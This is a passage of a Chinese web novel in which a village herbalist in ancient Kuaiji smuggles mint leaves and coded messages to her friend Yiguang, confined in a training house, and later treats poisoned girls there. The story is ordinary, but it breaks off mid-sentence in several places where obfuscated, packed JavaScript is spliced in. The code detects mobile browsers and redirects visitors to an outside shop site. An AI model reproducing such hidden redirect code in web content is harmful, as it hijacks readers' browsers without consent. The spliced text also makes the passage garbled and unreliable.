“她很好。训练很刻苦，吴嬷嬷很喜欢她。她比同批的其他女子学得快，尤其是歌舞，听说已经能单独表演了。”夫人顿了顿，“不过，她好像不太合群。别的女子会凑在一起说笑，她总是一个人待着。” 施晓青的心揪了一下，不合群、一个人待着……那是夷光在苎萝村时的样子。 那时候，村里其他女子也不跟她亲近，不是因为讨厌她，而是因为她的美让人有距离感，让人不敢靠近。 “她……有没有受委屈？”施晓青问。 “没有。”夫人摇摇头，“范大夫亲自过问她的情况，没人敢给她委屈受。不过……” 她犹豫了一下，“有件事，我不知道该不该告诉你。” “夫人请说。” “教习坊里，有个姓郑的女子，叫郑旦，跟你那朋友关系很好。两人住一间屋，做什么都在一起。”夫人看着施晓青，“你那朋友，不是完全一个人。她有一个朋友。” 施晓青愣了一下，随即眼眶有些发热。 郑旦，她听说过这个名字。 夷光在信里提过，说有个姑娘跟她一起被选上的，爱笑，爱说话，叫郑旦。 夷光说她有朋友了，在那个与世隔绝的地方，能说说话、一起吃顿饭、一起熬过漫漫长夜的朋友。 “那就好。” 施晓青低下头，声音有些哑，“那就好。” 夫人看着她，目光里有些心疼：“施姑娘，你为这个朋友，做了这么多。她知道吗？” “不需要她知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486897|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施晓青抬起头，笑了笑，“她只要好好的，就够了。” 夫人沉默了很久，窗外的风吹过竹林，沙沙作响，池中的锦鲤跃出水面，溅起一朵小小的水花。 “施姑娘，”夫人忽然说，“你想不想……给她带点东西？” 施晓青有些惊喜：“可以吗？” “不能让人知道。”夫人压低声音，“教习坊管得严，进出的东西都要检查。但若是不显眼的东西，不引人注意的东西……或许能想办法送进去。” 施晓青的脑子飞快地转着。 不显眼，不引人注意，又能让夷光知道是她送的……什么东西？ “薄荷叶。”她说，“晒干的薄荷叶。很常见，不显眼，检查的人不会在意。” 夫人点了点头：“好。你把薄荷叶给我，我想办法送进去。” 施晓青从内城出来时，天已经快黑了。 马车驶过内城的街道，穿过城门，回到城南。她靠在车壁上，闭着眼，嘴角带着一丝笑。 薄荷叶，她要给夷光送薄荷叶。 她要把那些叶子送进去，告诉夷光——我在这里，我一直都在。 回到悬壶堂，施晓青没有急着进门。 她站在门口，看着巷子里昏暗的灯光，看着远处内城方向隐约的灯火，深深地吸了一口气。 会稽城的春天，夜晚还是有些凉，风吹过巷子，带来隐隐丝竹声。 夷光，我很快就要给你送东西了，是薄荷叶，你最喜欢的薄荷叶。 你收到的时候，会不会笑？会不会像在苎萝村那样，微微弯一弯嘴角，然后说“阿青，你又来了”？ 她推开门，走进铺子，点上油灯。 然后从药柜里取出那包最好的薄荷叶，一片一片地挑选。那些叶子是她在城南的山坡上采的，晾晒了整整七天，每一片都完整、干净、散发着清苦的香气。 她用一块干净的粗布把叶子包好，又在那块布的角落里，用密码文字写下几个字：“我很好。别担心。” 夷光能看懂的。 那是她们之间独有的语言。 她把布包好，放在柜台下面，等着明天交给素心。 风从窗缝里钻进来，吹动油灯的火苗，摇摇晃晃，像是谁在轻轻点头。 夜深了，会稽城安静下来，只有远处的更夫敲着梆子，一下，一下，又一下。 只有悬壶堂一盏小小的油灯，还亮着。 * 素心一早便来了，施晓青把那包叶子交给她，又嘱咐了几句：“不显眼，就放在衣裳口袋里，若有人问，说是泡水喝的便成。” 素心接过，随手揣进袖中，点了点头便走了。 施晓青站在门口，看着那辆青帷马车消失在巷口，站了很久。 薄荷叶送进去了。可夷光能不能收到，什么时候收到，收到了会不会认出是她送的，她一概不知。 她已经做了自己能做的。 剩下的，交给运气吧。 23. 带话 教习坊，三日后。 夷光收到那包薄荷叶时，正在后院的廊下练舞。 一个送饭的丫鬟从她身边经过，脚步顿了一下，飞快地将一个小布包塞进她手里，压低声音说了句：“有人托我带给你的。” 便头也不回地走了。 夷光愣了一下，低头看着手里那个粗布小包。 布包不大，手感轻飘飘的，隐约散发着一股淡淡的、熟悉的香气。 她的心跳忽然快了起来。 她攥着布包，快步走回屋，关上门。郑旦不在，屋里只有她一个人。她在床边坐下，深吸一口气，慢慢打开布包。 里面是一把晒干的薄荷叶。 绿中泛黄的叶子，干燥而完整，散发着清苦的、沁人心脾的香气。 夷光的手指微微发颤，她把叶子倒在掌心，一片一片地翻看。 然后她看见在布包的角落里，用炭笔画着几个细小的、歪歪扭扭的符号。 那是她熟悉的符号，是阿青教她的、只有她们能看懂的密码文字。 “我很好。别担心。” 夷光的眼泪忽然就掉了下来，一滴一滴地落在掌心的薄荷叶上，落在那些干燥的、脆弱的叶片上。 她连忙用手背擦眼泪，怕泪水打湿了叶子，又怕擦得太用力把叶子弄碎了。 她捧着那些叶子，像捧着什么稀世珍宝。她把脸埋进掌心里，深深地吸了一口气，薄荷的香气涌入鼻腔，清苦而熟悉。 苎萝村的溪水味、阿青后院那个小药圃的泥土味、那些月光下的夜晚、那些不能说给别人听的话。 阿青她真的来了！她就在会稽城！！她找到了办法把东西送进来！！！ 夷光哭到眼睛发红，鼻子发堵。 郑旦推门进来吓了一跳：“夷光！你怎么了？谁欺负你了？” 夷光摇摇头，把薄荷叶和布包藏进袖子里，用袖子擦了擦脸：“没事，眼睛进了沙子。” 郑旦看着她红肿的眼睛，又看了看她藏东西的动作，没有追问。 她走过来，坐在夷光旁边，伸手揽住她的肩膀：“不想说就不说。但你记住，我在这儿呢。” 夷光靠在她肩上，闭上眼，把那包薄荷叶攥得紧紧的。 夜里，郑旦睡着了。 夷光坐在窗边，把那包薄荷叶从枕下摸出来，又看了一遍。那些密码文字，她看了无数遍，每一个笔画都烂熟于心。 可她还是要看，要确认，要让自己相信阿青真的在会稽城，阿青真的找到了她，阿青说她很好。 她把布包重新折好，贴在胸口，然后她拿起一块干净的帕子，用指甲蘸着水，在帕子的一角，一笔一划地写下回信。 她写得很慢，很小心，每一个符号都反复描摹，怕写错了，怕阿青看不懂。 写完之后，她把帕子晾干，折好，藏在枕头底下。 接下来要怎么把这块帕子送出去…… …… …… 教习坊管得严，进出的东西都要检查。 送饭的丫鬟、洗衣的婆子、打扫的杂役，每一个人进出都要经过守卫的查验。 普通的物件或许能混过去，但一块写了字的帕子……若是被人发现，不仅她麻烦，阿青也会有麻烦。 她需要一个可靠的人，一个能进出教习坊、又不会多嘴多舌的人。 每一个出入教坊司的人： 送饭的丫鬟，每天来三次，每次都很匆忙，没有多余的时间说话。 洗衣的婆子，每隔两日来一次，收走脏衣裳，送回干净的，但那个婆子嘴碎，爱打听，不可靠。 打扫的杂役，是个沉默寡言的年轻男人，每次来都低着头干活，从不跟人多说一句话。 夷光注意那个杂役好几天了。 他大约二十出头，皮肤黝黑，身材瘦削，穿着一身旧短褐，手里总是拿着扫帚和簸箕。他从不抬头看人，也从不在教习坊多待一秒，干完活就走。 有一天，夷光无意中在他打扫的廊下掉了一块帕子。 那杂役看见了，捡起来，低着头递给她：“姑娘，你的帕子。” “多谢。”夷光接过，看了他一眼，“你叫什么名字？” 那杂役愣了一下，似乎没想到会有人问他名字：“小人……叫阿福。” “阿福，”夷光笑了笑，“你每日都来打扫吗？” “是。小人负责教习坊这一片的洒扫。” “那你每天什么时候来？” 阿福犹豫了一下，还是回答了：“每日午后。” 夷光点了点头，没有再问。 她没有急着把帕子交给阿福，不能太冒险。 又过了几日，夷光确认阿福是个可靠的人。 他不跟人多说话，不看不该看的东西，不问不该问的事。他只是干活，干完就走。 这样的人，是最好的信使。因为他不会好奇，不会多嘴，不会把不该说的事说出去。 午后，阿福正在廊下扫地，夷光走过去，将一块叠得整整齐齐的帕子塞进他手里。 “阿福，帮我把这个带出去。交给城南悬壶堂的施姑娘。” 阿福的手顿了一下：“姑娘，这……” “不会让你白跑。”夷光从袖子里摸出几个铜板，塞进他手里，“你每天午后打扫完，会从后门出去。悬壶堂在城南柳巷，不远。” 阿福低头看着手里的帕子和铜板，沉默了片刻：“姑娘，这帕子上写了什么？” “没什么。”夷光说，“是一个朋友想知道我好不好。你帮我告诉她，我很好。” 阿福抬起头，第一次正眼看她，他的目光里有些什么复杂的情绪，但最终只是点了点头。 “好。” 他把帕子塞进怀里，继续扫地，像什么都没发生过。 傍晚，施晓青正在铺子里给一个孩子看咳嗽，门外进来一个穿着旧短褐的年轻男人。 男人皮肤黝黑，身材瘦削，低着头，手里攥着什么东西。 “你是施姑娘？”他问。 “我是。你是？” 男人把一块帕子递给她：“有人让我带给你的。” 施晓青接过帕子，展开。 帕子的一角，用指甲蘸着水画着几个细小的、歪歪扭扭的符号： “我也很好。别担心我。等我。” 她的手猛地攥紧了帕子。 那些符号，她太熟悉了，那是她教夷光的，是她们之间独有的语言。 “给你帕子的人……她怎么样？”施晓青的声音有些发颤。 “她很好。”阿福说，“她说，让你别担心。” 施晓青低下头，看着那块帕子，看了很久。然后她从柜台里拿出几个铜板，塞到阿福手里。 “谢谢你。以后……你还能帮我带东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486898|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西进去吗？” 阿福犹豫了一下：“能。” “那以后，每隔几日，你来我这里一趟。有东西就带，没有就不带。别让人知道。” “好。” 阿福走后，施晓青坐在柜台后面，把那块帕子看了又看。 短短几个字，她看了无数遍，看到那些笔画在视线里模糊，又清晰，又模糊。 她等到了！她终于等到了夷光的消息！ 施晓青把帕子贴在胸口，闭上眼。眼泪从眼角滑下来，无声无息，落在柜台上，落在那些草药包上，落在那块写着“悬壶堂”的招牌上。 夜里，施晓青坐在小厢房的床边，把那块帕子叠好，收进怀里，贴着那根麻绳带子。 带子已经很长的，她用手指量了量，从这头到那头，已经比她伸直双臂再向外延伸七掌还长。 她把带子和帕子放在一起，贴着心口的位置。 夷光，你的消息，我收到了。 你很好，那我就放心了。 她吹熄油灯，躺在黑暗中。 窗外月色很好，照在枇杷树的叶子上，泛着银白色的光。 远处，隐隐约约有丝竹声传来，那是教习坊的方向。 那些音乐，以前听起来很远，很飘渺，像是另一个世界的声音。可今夜，它们听起来很近，近得像是在耳边，像是一个人在轻轻哼唱，哼着一首只有她听得懂的歌。 施晓青闭上眼，嘴角带着一丝笑，梦里都是甜的。 阿福每隔三日来一次悬壶堂。 有时候施晓青让他带东西进去：一包薄荷叶、一小罐蜂蜜、几块她自己做的桂花糖。 有时候只是让他带几句话： “我很好。” “今天生意不错。” “城南的桃花开了。” 夷光的回信也断断续续地传出来。 一块帕子、一片树皮……还有…… “今天舞练完了，很累，但还好。” “郑旦今天又笑了，她笑起来真好看。” “月亮很圆，想你。” 每一条消息，施晓青都仔仔细细地记在桑树皮上。 她把那些零散的文字拼在一起，在心里勾勒出夷光在内城的日子，辛苦的、孤独的、但也在慢慢适应的、也在努力活下去的。 她把这些消息收在床底下的那个木盒里，和那根麻绳带子放在一起。 那是最珍贵的东西，比房契珍贵，比铺子珍贵，比任何东西都珍贵。 因为夷光的声音隔着高墙、隔着守卫、隔着重重阻碍，依然能传到她耳边。 证明她们都没有放弃。 稽城的春天快要过完了。 城南的槐花开了一树，白花花的，风一吹，花瓣像雪一样飘下来，落在地上，落在行人的肩上，落在悬壶堂的招牌上。 施晓青站在门口，看着那些飘落的花瓣，想起苎萝村的春天。 苎萝村的春天也有槐花，也有飘落的花瓣，也有一个蹲在溪边浣纱的少女，回过头来，对她轻轻弯了弯嘴角。 她伸手接住一片花瓣，握在手心里。 夷光，春天过完，夏天就要来了。 你那边热不热？有没有人给你送绿豆汤？你练舞的时候会不会中暑？ 她转身走进铺子，从柜台下面拿出一包绿豆，开始熬汤。 明天，让阿福带进去。 24. 夏至 四月末，会稽城开始热了。 城南的巷子里，阳光从早到晚地晒着，把青石板路晒得发烫。 卖冰饮的小贩推着车在街上叫卖，孩子们围在车边，手里攥着几文钱，眼巴巴地看着那一碗碗加了蜜水的碎冰。 施晓青有时也会买一碗给来看病的孩子，那些孩子大多是穷苦人家的，平日里连饭都吃不饱，更别说冰饮了。 她看着他们捧着一碗冰，小心翼翼地舔，眼睛亮得像星星，心里就软得一塌糊涂。 记忆里夷光小时候也爱吃冰，苎萝村的夏天，溪水冰凉，夷光会把脚浸在溪水里，捧着一片荷叶，荷叶上放着几块从镇上买回来的碎冰，冰上淋着一点蜂蜜。 她会先舔一口，然后眯起眼睛，像一只满足的猫。 那时候她们还不熟，施晓青只是远远地看着，看着那个美丽的少女在溪边吃冰，心里想着：她真好看，好看得像画里的人。 如今，画里的人被困在内城的高墙里。 她还能吃到冰吗？还有人给她送冰饮吗？郑旦会陪她一起吃吗？ 施晓青不知道，但她要把自己能做的都做了。 她让阿福隔一日送一次绿豆汤，就用陶罐装着，罐口封得严严实实，外面裹着厚厚的粗布，防止洒出来。 绿豆汤里加了薄荷和一点点蜂蜜，清甜解暑，是夷光小时候爱喝的味道。 “施姑娘，”阿福接过陶罐，犹豫了一下，“那位姑娘说，绿豆汤很好喝。她还说，让你别总给她送东西，留着自己吃。” 施晓青笑了：“我吃过了。这是给她留的。” 阿福看了她一眼，没有再多说，把陶罐揣进怀里，低着头走了。 施晓青站在门口，看着阿福的背影消失在巷口，忽然想起阿福每次来，都是午后。 午后的日头最毒，他从内城走到城南，要走大半个时辰，怀里还揣着陶罐。她应该给他也准备一碗绿豆汤的。 下次，给他也留一碗。 五月初，悬壶堂来了一个特殊的病人。 那是一个四十来岁的男人，穿着半旧的绸衫，面容清瘦，眉宇间有一股书卷气。 他一进门就四处打量，目光在药柜上停了很久，最后落在施晓青身上。 “你就是施姑娘？” “我是。您哪里不舒服？” 男人在椅子上坐下，伸手给她看脉。 施晓青把手指搭上去，认真地感受着脉搏的跳动。 她不是真正的郎中，脉理只是略知一二，但她学得快，又肯下功夫，几个月下来，已经能摸出个大概了。 “您的脉象有些虚，”她说，“是不是最近睡不好，胃口也不太好？” 男人点了点头：“是。最近事情多，心里烦，吃不下，也睡不着。” 施晓青又问了几个问题，心里大概有了数。 不是病，是累的，心累。这种病，吃药是治不好的。但她还是从药柜里抓了几味药，酸枣仁、百合、茯苓、甘草，用纸包好。 “这个拿回去，每天晚上睡前煮水喝，能帮您睡得安稳些。但最重要的，还是要放宽心。有些事，急不来，也躲不掉。您想开了，身体自然就好了。” 男人接过药包，看着她，目光里有些复杂的情绪：“姑娘年纪不大，说话倒是老成。” 施晓青笑了笑：“见得多了，自然就懂了。” 男人没有再多说，从袖子里摸出几粒碎银放在柜台上，转身走了。 施晓青拿起那几粒碎银，看了看，又放下了，太多了，够普通人家吃一个月的饭。 这个人，不是普通人。 她拿起炭笔，在桑树皮上记下：五月初三，来一中年男子，穿半旧绸衫，脉虚，心累，出手阔绰。疑似非富即贵，身份待查。 这是她的习惯，每一个看起来不普通的病人，她都会记下来。 说不定哪天，这些信息就能用上。 * 五月初五，端午节。 会稽城热闹非凡，街上到处都是卖粽子的、卖菖蒲的、卖雄黄酒的。 孩子们手腕上系着五彩丝线，脖子上挂着香囊，跑来跑去，笑声清脆得像铃铛。 施晓青站在悬壶堂门口，看着那些热闹，心里空落落的。 在苎萝村，端午节是要包粽子的。 阿母会早早起来，把糯米泡上，把粽叶洗干净，然后坐在院门口，一边包粽子一边跟邻居说话。 她包的粽子不大，但结实，每个角都尖尖的，用草绳扎得紧紧的。煮出来的粽子，糯米的香和粽叶的香混在一起，整个院子都是那个味道。 她爱吃甜粽，蘸着蜂蜜吃，能吃好几个。 阿母总说她：“吃那么多甜的，小心牙疼。” 她就笑着说：“不怕，我有薄荷叶，牙疼了就含一片”。 今年，她吃不到阿母包的粽子了。 施晓青吸了吸鼻子，转身走进铺子，从柜台下面拿出几片粽叶和一小盆泡好的糯米。 她不会包粽子，但可以学。 她试着把粽叶折成漏斗状，放米，包起来，用草绳扎。第一个散了，第二个漏了，第三个歪歪扭扭的，勉强有个粽子的形状。 她包了一下午，包了十几个，大大小小，歪歪扭扭，丑得不像样子。 但她还是很满意。 她把粽子煮了，挑了几个好看的，用荷叶包好，交给阿福，让他带给夷光。 “告诉她，端午节快乐。”施晓青说，“粽子是我包的，不好看，但应该能吃。” 阿福接过荷叶包，点了点头，走了。 傍晚，阿福回来了。 他没有带东西，只是口头转述了一句话：“那位姑娘说，粽子很好吃。她还说，她也会包粽子了，是郑旦教她的。等以后……等以后见面了，她包给你吃。” 施晓青站在柜台后面，手里攥着一块抹布，眼泪忽然就掉了下来。 等以后见面了…… 她用力点了点头，像是夷光就在面前，像是她能听见。 “好，”她说，“我等。” 五月中旬，施晓青收到了一封从苎萝村来的信。 信是翠儿托人捎来的，用着最粗糙的麻布，上面的字虽然歪歪扭扭，但每一个字都是独立的、可辨认的。 翠儿学会写字了。 施晓青捧着那块麻布，自习看着。 上面写着：“阿青，你阿母很好，我也很好。村里一切都好，你别担心。你寄回来的东西都收到了，你阿母很高兴，每天都把你的信拿出来看，虽然她不识字，但她就是喜欢看。翠儿。” 施晓青把麻布折好，收进怀里，贴着那根麻绳带子。 她拿起炭笔，在桑树皮上写回信。 她把树皮折好，又包了一小包桂花糖、一小罐薄荷膏、几块她自己在城里买的布料，用粗布裹成一个包袱，交给货郎，让他带回苎萝村。 货郎接过包袱，掂了掂：“姑娘，你这隔三差五就往家里寄东西，自己不过日子了？” 施晓青笑了笑：“过得下去。我在这儿有吃有住，花不了什么钱。家里就我阿母一个人，我不寄给她，谁寄给她？” 货郎叹了口气，没有再说什么，扛着包袱走了。 * 会稽城下了一场大雨。 雨从傍晚开始下，越下越大，到夜里已经成了暴雨。雷声滚滚，闪电一道接一道地劈下来，把天空撕成碎片。 施晓青坐在小厢房的床边，听着外面的雨声，睡不着。 内城的房子比她的好，应该不漏雨吧？ 夷光怕不怕打雷？ 在苎萝村的时候，夷光是不怕的。 她说雷声像是老天爷在打鼓，听着听着就睡着了，可现在，她一个人在教习坊，身边只有郑旦。 郑旦怕不怕打雷？她们会不会挤在一张床上，捂着耳朵，等雷声过去？ 施晓青从怀里摸出那根麻绳带子，在黑暗中慢慢地编。 雷声很大，但她听不见了。她只听得见自己编带子的声音，细细的，密密的，像雨声，又像心跳。 第二天一早，雨停了。 施晓青打开门，看见巷子里一片狼藉。 树叶落了一地，几个摊位的棚子被吹翻了，一只木桶在街中间滚来滚去。 她挽起袖子，开始清理。 先扫门口的落叶，再把被风吹歪的招牌扶正，然后去帮隔壁的摊主捡被吹跑的东西。 等她忙完，已经是中午了。 她坐在门口的石阶上，喘着气，看着渐渐恢复秩序的巷子，心里忽然很平静。 会稽城的夏天，还是和苎萝村不一样。 苎萝村的夏天是安静的，溪水声、蝉鸣声、风吹过竹叶的声音，一切都是慢慢的、懒懒的。会稽城的夏天是热闹的，叫卖声、车马声、孩子们的欢笑声，一切都是快的、急的。 但无论在哪里，夏天就是夏天。 热，闷，偶尔有一场大雨，把人浇得透心凉，然后又是一个大晴天，把地上的水渍晒干，把人的心情晒得软绵绵的。 施晓青站起来，拍拍身上的土，走进铺子。 新的一天，开始了。 * 五月将尽，会稽城入了梅。 雨淅淅沥沥地下个不停，空气里弥漫着一股潮湿的霉味，晾了几日的衣裳总也不干，连药柜里的草药都有些发潮。 施晓青每日多了一道工序，把那些容易受潮的药材拿出来翻晒，若是没有太阳，便在屋里生一盆炭火，慢慢地烘。 她正蹲在炭火盆边翻着茯苓片，铺子的门被人一把推开了。 来的是素心，脸色发白，额角沁着细密的汗珠，衣裳下摆沾满了泥水，像是跑着来的。 “施姑娘！”素心的声音发紧，“夫人让我来接你，快跟我走！” 施晓青站起来，拍了拍手上的灰：“怎么了？” “教习坊出事了。”素心压低声音，眼睛里带着几分惊恐，“好几个女子突然上吐下泻，发热不退，有一个已经昏过去了。坊里的大夫看不好，吴嬷嬷急得团团转。夫人说，你或许有办法。” 施晓青的心猛地一沉：“等我一下。” 她转身走进后院，提起药箱，又从药柜里多抓了几味药，藿香、苍术、陈皮、半夏、茯苓。 这些是治湿阻中焦、霍乱吐泻的常用药，无论是什么原因引起的，先用这些稳住局面总没错。 她跟着素心上了马车。 马车在雨中疾驰，穿过城南，穿过城门，驶入内城，直接驶向了一个施晓青从未去过的教习坊。 马车在一道高高的粉墙前停下。 墙上爬满了青藤，墙头露出几座楼阁的飞檐。 门前站着两个腰佩长刀的兵士，面色冷峻，目光如鹰。 素心从怀里掏出一块铜牌，递给守卫。 守卫看了看，又看了看马车里的施晓青，皱了皱眉。 “她是大夫。”素心说，“夫人请来的。” 守卫犹豫了一下，挥了挥手，马车驶进了那道门。 教习坊比施晓青想象的大。 几进几出的院落，错落有致的房舍，游廊相连，曲径通幽。院中种着许多花木，雨打在上面，沙沙作响，空气里弥漫着泥土和花叶的湿润气息。 可此刻，这片幽雅的院落里到处都是紧张的气氛。 丫鬟和仆从脚步匆匆，脸上都带着不同程度的焦虑。几个穿着统一浅色衣裙的年轻女子站在廊下，神色惶恐，交头接耳。 素心领着施晓青穿过一道月洞门，来到一间宽敞的厢房。 厢房里弥漫着一股浓重的药味和呕吐物酸腐的气息。 几张床榻上躺着几个年轻女子，有的面色潮红，有的脸色灰白，有的蜷缩着身子，抱着腹部低声呻吟。 吴嬷嬷站在床边，脸色铁青。 见素心领着一个年轻姑娘进来，她的眉头皱得更紧了：“这就是夫人说的那个大夫？” “是。”素心说，“施姑娘，城南悬壶堂的。” 吴嬷嬷上下打量了施晓青一番，目光里满是怀疑：“这么年轻？” 施晓青没有理会她的质疑，放下药箱，走到最近的一张床榻前。 床上躺着一个十七八岁的女子，面色潮红，呼吸急促，嘴角还残留着呕吐物的痕迹。 “发烧了，很烫。”施晓青收回手，转头看向一旁的丫鬟，“什么时候开始发病的？” “回、回小姐……大多是昨儿夜里，也有今儿一早才烧起来的……” “都吃了什么？喝了什么？” “吃食……和往常差不多的……” “有没有别人也这样？” “有、有好几个……都是这院里的……” 施晓青眉头微蹙，语速快了起来：“发热、呕吐、腹泻，有的还肚子疼。不是疟疾，也没出疹子，更不是时疫。” 她顿了顿，目光扫过屋内众人，最后落回丫鬟脸上：“发病的都在这院子里，但不是所有人都病了。” 丫鬟茫然地点头。 “不是水的问题，也不是空气。”施晓青低声自语。 那问题就出在吃的上面，多半是食物中毒。 “她们昨天吃了什么？”施晓青问。 吴嬷嬷想了想：“昨天的晚饭是厨房统一送的，所有人吃的都一样。但隔壁院子的人也吃了，并没有人发病。” “那有没有什么是只有这个院子的人吃了，别人没吃的？” 吴嬷嬷愣了一下，看向旁边的一个丫鬟。 丫鬟想了想，忽然脸色一变：“昨日下午……有人送了一篮子枇杷来，说是外头进贡的，只送了这个院子。” “枇杷？”施晓青心头一动，“还有剩下的吗？” 丫鬟去拿了几颗剩下的枇杷来。 施晓青接过，仔细看了看，表皮光滑，颜色金黄，看起来并没有什么异常。她掰开一颗，凑近闻了闻，又用指甲刮了一点皮上的白霜，放在舌尖上舔了舔。 微微的苦味，不正常。 “这枇杷有问题。”她放下枇杷，“不是枇杷本身的问题，是皮上沾了什么东西。可能是农药，也可能是别的什么毒物。但量不大，所以不是所有人都中毒，只有吃得多的人症状严重。” 吴嬷嬷的脸色更难看了：“有人投毒？” “不一定。”施晓青说，“也可能是意外。枇杷在采摘或运输过程中，沾染了不该沾的东西。现在最重要的是先救人，查毒的事可以慢慢来。” 她打开药箱，把带来的几味药拿出来。藿香、苍术、陈皮、半夏、茯苓……这些都是解毒化湿、和胃止呕的常用药。 她快速配了几副，交给丫鬟去煎。 “煎好之后，先给症状最重的那个灌下去。不要太烫，温温的就行。一次灌小半碗，隔一个时辰再灌一次。” 她又从药箱里拿出一个小陶罐，里面是她自制的绿豆粉：“这个用温水调成糊，给她们敷在肚脐上，能缓解腹痛。” 安排完之后，她走到症状最重的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施晓青撑着伞，跟在素心身后，目光却不由自主地向四处张望。 教习坊……这就是夷光生活的地方。 这些游廊，这些院落，这些花木，这些石子路……夷光每天都在这里走过吗？她走的是哪条路？她住在哪个院子？她此刻在哪里？她知不知道，她来了？ “施姑娘？”素心回头看她，“怎么了？” “没什么。”施晓青收回目光，加快脚步跟上。 她们穿过一道月洞门，来到另一个院子。 这个院子的格局和刚才那个差不多，但更安静，更整洁。几个年轻女子站在廊下，看见她们，好奇地张望着。 施晓青的目光从她们脸上一一扫过——都不是夷光。 “这个院子的人，有没有不舒服的？”她问。 一个丫鬟上前回答：“回姑娘，没有。大家都好好的。” 施晓青点了点头，正要转身离开，目光忽然被游廊尽头的一个身影吸引了。 那个身影背对着她，站在一丛翠竹旁，穿着一身浅青色的衣裙，头发简单地绾着，身形清瘦而挺拔。 即使只是一个背影，即使隔了那么远的距离，施晓青还是一眼就认出了她。 夷光。 她的脚像被钉在了地上，一步也迈不动了。 素心走了几步，发现她没跟上来，回头一看，见她愣在那里，顺着她的目光看过去。 “施姑娘，你认识那个人？” 施晓青张了张嘴，声音却像卡在喉咙里，发不出来。 她只能摇头，又点头，又摇头。 那个身影似乎感觉到了什么，微微侧过头，刚好露出半张脸。 白皙的皮肤，清秀的轮廓，还有那一抹似有若无的、带着几分忧愁的神情。 是她，是夷光。 施晓青的心跳得像是要从胸腔里蹦出来，她想喊，但喊不出。 她想跑过去，脚却像灌了铅。 她只能站在原地，死死地盯着那个方向，生怕一眨眼，那个身影就会消失。 夷光转过了头。 她们的目光，隔着雨幕，隔着游廊，隔着来来往往的丫鬟和仆从，在空气中撞在了一起。 那一瞬间，时间仿佛静止了。 天地间只剩下她们两个人，远远地站着，远远地看着对方，远远地确认着彼此的存在。 夷光的眼睛红了，嘴唇微微颤抖，像是在忍着什么巨大的情绪。她的手攥紧了袖口，指节泛白。 施晓青的眼睛也红了。她没有动，只是站在那里，看着夷光，用尽全力地看着她， 瘦了，真的瘦了。 下巴尖了，脸颊的肉少了，眼下的青影重了。 可她还是那么好看，好看得让人心疼，好看得让人想哭。 “施姑娘？”素心的声音把她拉回现实，“你没事吧？” 施晓青深吸一口气，用力眨了眨眼，把眼泪逼回去：“没事。走吧。” 她转过身，跟着素心走了。 不能回头，回头就会忍不住跑过去，跑过去就会惹麻烦，惹麻烦就会害了夷光。 所以只能往前走，一步一步，走得稳稳的，像什么都没发生过。 那天傍晚，中毒的女子们都稳定下来了。 症状最重的那个也醒了，虽然还很虚弱，但已经没有生命危险。 施晓青把后续的用药和护理方法详细地写在一张树皮上，交给吴嬷嬷，又叮嘱了几句注意事项，才收拾药箱准备离开。 吴嬷嬷送她到门口，沉默了一会儿，忽然说：“施姑娘，你那个朋友，叫施夷光吧？” 施晓青的手一顿：“吴嬷嬷怎么知道？” “她来找过我。”吴嬷嬷说，“今天下午，你走了之后，她来问我，那个来看病的姑娘叫什么名字，住在哪里。我没有告诉她，但我看得出来，她认识你。” 施晓青低下头，没有说话。 “施姑娘，”吴嬷嬷的声音低下去，“教习坊不是普通的地方。这里的女子，将来是要送去吴国的。她们不能有牵挂，不能有软肋，不能有任何让人可以利用的东西。你明白吗？” “我明白。”施晓青抬起头，看着吴嬷嬷，“可我也不能假装不认识她。她是我的朋友。我不会做任何让她陷入危险的事，但我也不能假装她不存在。” 吴嬷嬷看着她，目光里的复杂又深了几分：“你倒是个倔脾气的。罢了，我不管你们的事。只要不惹麻烦，我就当不知道。” “多谢吴嬷嬷。” 施晓青上了马车，靠在车壁上，闭着眼。 马车驶出教习坊，驶过内城的街道，穿过城门，回到城南。 她一直闭着眼，脑子里全是当时的场景。 她们对望了多久？几秒？还是几分钟？ 那几秒或者几分钟，是她来会稽城后，最长的瞬间。 马车在悬壶堂门口停下。 施晓青下了车，推开门，走进铺子。 一切都照旧，药柜、柜台、药杵、药臼，还有那股淡淡的、清苦的草药香。 她站在柜台后面，看着那些熟悉的一切，忽然蹲了下去，把脸埋进膝盖里，无声地哭了出来。 她见到了夷光，她终于见到了夷光。 夷光也看见了她。 她们都看见了彼此，她们都知道，对方就在这里，在这个城市的某个角落，活着，坚持着，没有放弃。 她哭到蹲在柜台后面差点站不起来。 缓过劲后，她拿起炭笔，在桑树皮上写下： “五月的最后一天，我见到了夷光。她瘦了，但还好。她看见我了。她知道我在这里。” 她放下炭笔，吹熄油灯。 外面的雨还在下，细细密密的，像在轻声说着什么。 …… 25. 气氛不妙 教习坊的毒，查了七日，没查出来。 吴嬷嬷报了内城司，来了几个穿皂衣的吏员，把厨房翻了个底朝天，问了十几个仆从，最后只留下一句“疑是误食不洁之物”，便没了下文。 那几个中毒的女子渐渐好了，枇杷的事也渐渐没人提了，仿佛只是一场意外，过去了就过去了。 可夷光知道，不是意外。 因为她看见了。 那天午后，她正在廊下练舞，一个面生的丫鬟提着一篮枇杷从她身边经过。 